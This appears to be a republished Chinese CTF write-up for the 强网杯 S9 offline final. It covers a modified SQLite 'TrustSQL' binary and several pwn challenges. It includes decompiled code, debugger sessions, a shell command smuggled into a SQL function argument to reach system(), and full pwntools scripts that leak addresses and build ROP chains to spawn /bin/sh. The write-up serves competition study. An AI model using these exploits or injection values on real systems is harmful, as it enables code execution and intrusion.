while ( ((unsigned __int8)v48 & (v43 == 0)) != 0 );
if ( v43 )
{
LABEL_89:
*((_DWORD *)v15 + 20) = v43;
sub_5F910(v15);
goto LABEL_65;
}
if ( !dword_197EF0 )
goto LABEL_64;
for ( i = 0; (_BYTE)word_193964; ++i )
{
v50 = xmmword_1939D0(2);
v51 = v50;
if ( !v50 )
break;
xmmword_1939E0(v50);
if ( i >= dword_197EF0 )
{
xmmword_1939F0(v51);
v67[0] = 0;
p_sub_54D00(0);
goto LABEL_64;
}
p_RTRIM_2 = *(_QWORD *)(qword_197EF8 + 8LL * i);
xmmword_1939F0(v51);
p_RTRIM_4 = (__int64 (__fastcall *)(_QWORD *, _QWORD *, __int64 (__fastcall **)()))p_RTRIM_2;
LABEL_73:
v67[0] = 0;
if ( p_RTRIM_4 )
{
p_RTRIM = (unsigned __int64)v67;
p_RTRIM_5 = p_RTRIM_4(v15, v67, off_191B60);
if ( p_RTRIM_5 )
{
p_RTRIM = p_RTRIM_5;
sub_8EFF0(
(_DWORD)v15,
p_RTRIM_5,
(unsignedint)"automatic extension loading failed: %s",
v67[0],
v58,
v59,
p_RTRIM_2);
p_sub_54D00(v67[0]);
goto LABEL_64;
}
v60 = v67[0];
}
else
{
v60 = 0;
}
p_sub_54D00(v60);
}
if ( i < dword_197EF0 )
{
p_RTRIM_4 = *(__int64 (__fastcall **)(_QWORD *, _QWORD *, __int64 (__fastcall **)()))(qword_197EF8 + 8LL * i);
goto LABEL_73;
}
v67[0] = 0;
p_sub_54D00(0);
LABEL_64:
if ( (unsignedint)sub_9CAA0(v15, p_RTRIM, v48, v47, v45, v46) )
goto LABEL_22;
LABEL_65:
p_RTRIM = 0;
sub_592F0(v15, 0, (unsignedint)dword_193974, (unsignedint)dword_193978);
v52 = v15[3];
if ( v52 )
{
xmmword_1939E0(v52);
v53 = v15[3];
v15[45] = 1000;
v15[44] = sub_129B30;
if ( v53 )
{
xmmword_1939F0(v53);
goto LABEL_22;
}
}
else
{
v15[45] = 1000;
v15[44] = sub_129B30;
}
LABEL_25:
n7 = sub_9CAA0(v15, p_RTRIM, p_temp, v12, v13, v14);
n7_1 = n7;
if ( (_BYTE)n7 == 7 )
{
v54 = v15;
v15 = 0;
sub_D4A80(v54, 0);
}
elseif ( n7 )
{
*((_BYTE *)v15 + 113) = -70;
}
*a2 = v15;
if ( v29 )
{
while ( *(_BYTE *)(v29 - 1) || *(_BYTE *)(v29 - 2) || *(_BYTE *)(v29 - 3) || *(_BYTE *)(v29 - 4) )
--v29;
p_sub_54D00(v29 - 4);
}
return n7_1;
}
这里暂且命名为__init
链子头函数的分析
我们再次回溯追踪的时候,看到了一大堆函数使用了__vuln函数,并且main函数中的长度很长,牵扯的条件很多,其实真逆向起来的话把握住逻辑架构的话也不是很难,比起那个box的rust,逆了一晚上才把握住逻辑架构(可能是我走弯路了,花了一半时间逆的没有用上,单纯只是初始化。。。),这个翻几遍看看差不多就能知道大体是怎么写的
if ( strcmp(s1_1, "-unsafe-testing") )
{
__fprintf_chk(stderr, 2, "%s: Error: unknown option: %s\n", (constchar *)qword_197BC0, s1_1);
fwrite("Use -help for a list of options.\n", 1u, 0x21u, stderr);
return1;
}
goto LABEL_239;
}
if ( ptr_1 - 1 != ptr_6 )
{
if ( ptr_1 == ++ptr_6 )
LABEL_248:
sub_25FB0((unsignedint)ptr_1, a2, n2_8, v50);
v187 = a2[ptr_7 + 1];
if ( *v187 == 46 )
{
ptre = sub_40C30(v187, buf_);
if ( ptre && dword_197BD8 )
{
ptre_3 = ptre;
if ( ptre != 2 )
return ptre_3;
return0;
}
}
else
{
vuln__(buf_, 0, n2_8, v50, v51, v52);
ptre_4 = sub_3D6F0(buf_, v187, &v224);
ptre = ptre_4;
if ( v224 )
{
sub_16D50();
p_sub_54D00(v224);
if ( dword_197BD8 )
{
ptre_3 = ptre;
if ( ptre )
return ptre_3;
return1;
}
}
我记得我方式推测在main中尝试用这个进入__vuln函数来着,然后再去找条件,后来发现,随便输入指令就能进入,当然这是在动调之后的事情了
然后大致上弄明白这个调用的链子,我们就可以开启动调了
对,查了查system(‘calculator’)这个执行确实是可以弹出来计算器的,然后着手动调走我们构造的链子
我们先标记几个断点的位置
b *$rebase(0x3E7B0) 这个是__vuln的位置
b *$rebase(0x212A0) 这个是vuln函数的位置
b *$rebase(0x2146D) 这个是执行system的位置
b *$rebase(0x3EB94||0x3EBD2) 这个是vuln函数在__vuln函数中执行位置
然后逐步配凑数据递进分析即可
可以看到,我们随便输入了点数据,就能进入这个__vuln函数,
wndbg> b *$rebase(0x3E7B0)
Breakpoint 1 at 0x5555555927b0
pwndbg> c
Continuing.
SQLite version 3.51.0 2025-11-04 19:38:17
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> aaa
...> ;
Breakpoint 1, 0x00005555555927b0 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────────────────────────
*RAX 0
*RBX 0x7fffffffce50 ◂— 0
*RCX 1
*RDX 0
*RDI 0x7fffffffce50 ◂— 0
*RSI 0
R8 0
*R9 0x5555556b5c00 ◂— 0x202020403020001
*R10 0x5555556b2e24 ◂— 0xfff0b0ecfff0b13c
*R11 0x5555556bb6a0 ◂— 0
*R12 0x300
*R13 0x5555556ee370 ◂— 0x3b0a616161 /* 'aaa\n;' */
R14 0
*R15 1
*RBP 5
*RSP 0x7fffffffc448 —▸ 0x555555593310 ◂— test byte ptr [rbx + 0x8c], 4
*RIP 0x5555555927b0 ◂— push r13
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x5555555927b0 push r13
0x5555555927b2 push r12
0x5555555927b4 push rbp
0x5555555927b5 push rbx
0x5555555927b6 mov rbx, rdi RBX => 0x7fffffffce50 ◂— 0
0x5555555927b9 sub rsp, 0x18 RSP => 0x7fffffffc410 (0x7fffffffc428 - 0x18)
0x5555555927bd mov rdi, qword ptr [rdi] RDI, [0x7fffffffce50] => 0
0x5555555927c0 mov rax, qword ptr fs:[0x28] RAX, [0x7ffff7ea5ba8] => 0x19bbcb52e40b8100
0x5555555927c9 mov qword ptr [rsp + 8], rax [0x7fffffffc418] <= 0x19bbcb52e40b8100
0x5555555927ce xor eax, eax EAX => 0
0x5555555927d0 test rdi, rdi 0 & 0 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffc448 —▸ 0x555555593310 ◂— test byte ptr [rbx + 0x8c], 4
01:0008│ 0x7fffffffc450 ◂— 0
... ↓ 6 skipped
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x5555555927b0 None
1 0x555555593310 None
2 0x55555559f5d1 None
3 0x555555566766 None
4 0x7ffff7c2a1ca __libc_start_call_main+122
5 0x7ffff7c2a28b __libc_start_main+139
6 0x555555568025 None
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
然后我们继续断点到vuln的c的时候
pwndbg> b *$rebase(0x212A0)
Breakpoint 2 at 0x5555555752a0
pwndbg> c
Continuing.
Parse error: near "aaa": syntax error
aaa ;
^--- error here
就报错了,然后我们调整一下指令,结合ida分析
然后我们直接让ai分析一下,找到了返回3并且进入vuln函数的方法
- 第一个参数被用作文件名
- 第二个参数
被传递给a2参数 - 我们让第二个参数是一个字符串指针,同时文件名不以”.zip”结尾,这样的话我们话我们就可以走这个分析了
SELECT edit(‘aaaa’,’aaaa’);
0x55555557546d mov rdi, rax RDI => 0x555555701208 ◂— 'aaaaa; "temp846673d8240cb03b"'
► 0x555555575470 call system@plt <system@plt>
command: 0x555555701208 ◂— 'aaaaa; "temp846673d8240cb03b"'
效果是这样的
之后我们调整一下参数,就能让system的弹出来计算器,当然这里有猜的成分,里面a+xx这个结构体封装的偏移太难逆了
0x55555557546d mov rdi, rax RDI => 0x555555701318 ◂— 'gnome-calculator; "temp35635e99d5c0466c"'
► 0x555555575470 call system@plt <system@plt>
command: 0x555555701318 ◂— 'gnome-calculator; "temp35635e99d5c0466c"'
SELECT edit(‘gnome-calculator;’,’gnome-calculator;’);
但是这个结果和题目要求的不符,这个指令肯定是可以封装到db文件里面的,因为现场操作的一个指令是关闭了我记得是虚结构的检测的,然后让ai给我们修改一下指令,封装到db文件就行
用一下当时得截图,可惜的是这个里面的东西好像被传烂了。。。。。。。。
AWDU Pwn
smile
os.environ[‘LD_LIBRARY_PATH’] = ‘../lib’
这个需要这个才能运行,而且版本不能低于24
这里是有个后门的,并且我记得有个i+2当时,需要控制一下缩进
rt(">>> ")
sl("ADD")
sl(". sh")
it()
NSnote
这个是有个很明显的溢出的,逻辑框架的话需要追踪字符串,但是是随机地址,所以需要大量写,但是远程写不了大量数据,题目下架后应该是用堆喷
def cd(choose):
rt("option >\n")
sl(str(choose))
def add(idx,size,content):
cd(0)
rt("enter index:\n")
sl(str(idx))
rt("enter read len:\n")
sl(str(size))
rt("content:\n")
s(content)
def swap(idx1,idx2):
cd(4)
rt("enter index:\n")
sl(str(idx1))
rt("other index\n")
sl(str(idx2))
def free(idx):
cd(1)
rt("enter index:\n")
sl(str(idx))
def show(idx):
cd(2)
rt("enter index:\n")
sl(str(idx))
def edit(idx,content):
cd(3)
rt("enter index:\n")
sl(str(idx))
rt("content:\n")
s(content)
def debug():
gdb.attach(p)
pause()
def exp():
n = 0x8000000000000000
add(0,0x100+n,b'')
# pause()
# dbg(0x03BF4)
show(0)
rt(b'\0' * 8)
pie = ru(6) - 0x1220
pr(pie)
puts_got = elf.got['puts'] + pie
addr = pie + 0x10040
# dbg(0x03C23) edit
add(1,0x20,b'a')
add(2,0x20,b'a')
# add(3,0xf0,b'a')
add(3,0x20000,b'a')
# dbg(0x03C23)
edit(2,p64(0) + flat(0x1000,addr)*100)
#pr(11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111)
# it()
# pause()
sleep(0.5)
pay = flat(addr+0x100,addr+0x118,addr+0x130)
pay = pay.ljust(0x100,b'a')
pay += flat(0x8,puts_got,pie+0x1220,0x1000,addr)
# dbg(0x03C23)
edit(1,pay)
# debug()
# dbg(0x003BF4) # show
show(0)
rt("content:\n")
libc.address = ru(6) - libc.sym["puts"]
pr(libc.address)
sleep(1)
if (libc.address >> 44) != 0x7:
raise Exception("Bad libc leak")
#pause()
environ = libc.sym["environ"]
pr(environ)
pay = flat(addr+0x100,addr+0x118,addr+0x130)
pay = pay.ljust(0x100,b'a')
pay += flat(0x8,environ,pie+0x1220,0x1000,addr)
edit(1,pay)
show(0)
rt("content:\n")
stack = ru(6) - 0x130
pr(stack)
# dbg(0x03BF4) show
pay = flat(addr+0x100,addr+0x118,addr+0x130)
pay = pay.ljust(0x100,b'a')
pay += flat(0x100,stack)
pay += b'/bin/sh\0'
edit(1,pay)
# dbg(0x03C23,0x0DA55)
rdi = libc.address + 0x0000000000102dea
rax = libc.address + 0x00000000000d4f97
rsi = libc.address + 0x0000000000053887
syscall = libc.address + 0x00000000000255dd
edit(0,flat(rax,59,rdi,addr+0x110,rsi,0,syscall))
cd(5)
somebox
这个是rust,需要逆出来混淆算法,远程沙盒有问题,我们的解题脚本需要长时间爆破,暂不公布
string_menu
交了几个flag就结束了
edit下面有越界写,stack下面有地址,然后打syscall就行
#!/usr/bin/python3
from pwn import *
import os
context(log_level="debug",os="linux",arch="amd64")
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()
file_name = './string_menu'
p = process(file_name)
#p = remote(")
elf = ELF(file_name)
# libc = elf.libc
pie = 0
def dbg(* addrs):
pay = ''
if pie:
for i in addrs:
pay += 'b *$rebase( ' + str(i) + ')' + '\n'
else:
for i in addrs:
pay += 'b *' + str(i) + '\n'
gdb.attach(p,pay)
def cd(choose):
rt("Choice: ")
sl(str(choose))
def add(content = 'a'):
cd(1)
rt("Enter string content: ")
sl(content)
def edit(idx,content):
cd(2)
rt("Enter string index: ")
sl(str(idx))
rt("chars):")
sl(content)
def free(idx):
cd(3)
rt("Enter string index: ")
sl(str(idx))
def show(idx):
cd(5)
rt("index to view: ")
sl(str(idx))
def debug():
gdb.attach(p)
pause()
# debug()
add(b'ac'*0x10)
add(b'b'*0x100)
add(b'c'*0x20)
add(b'd'*0x20)
edit(171,flat(0x100d018))
show(0)
rt("Content: ")
stack = ru(6) - 0x2460 + 0x320
pr(stack)
# add(b'm'*8)
edit(171,flat(stack,0x100))
rdi = 0x00000000010033d6
rsi = 0x00000000010033d4
mov_rax_rsi = 0x0000000001009d97
syscall = 0x00000000010029a8
gadget = 0x0000000001009dd9
pay = flat(rsi,59,0,0,mov_rax_rsi,rdi,stack+0x68,0,rsi,0,0,0,gadget)
pay += b'/bin/sh\0'
edit(0,pay)
cd(8)
it()
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《强网杯S9 线下赛 RealWorld TrustSQL & AWDU Pwn 题解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论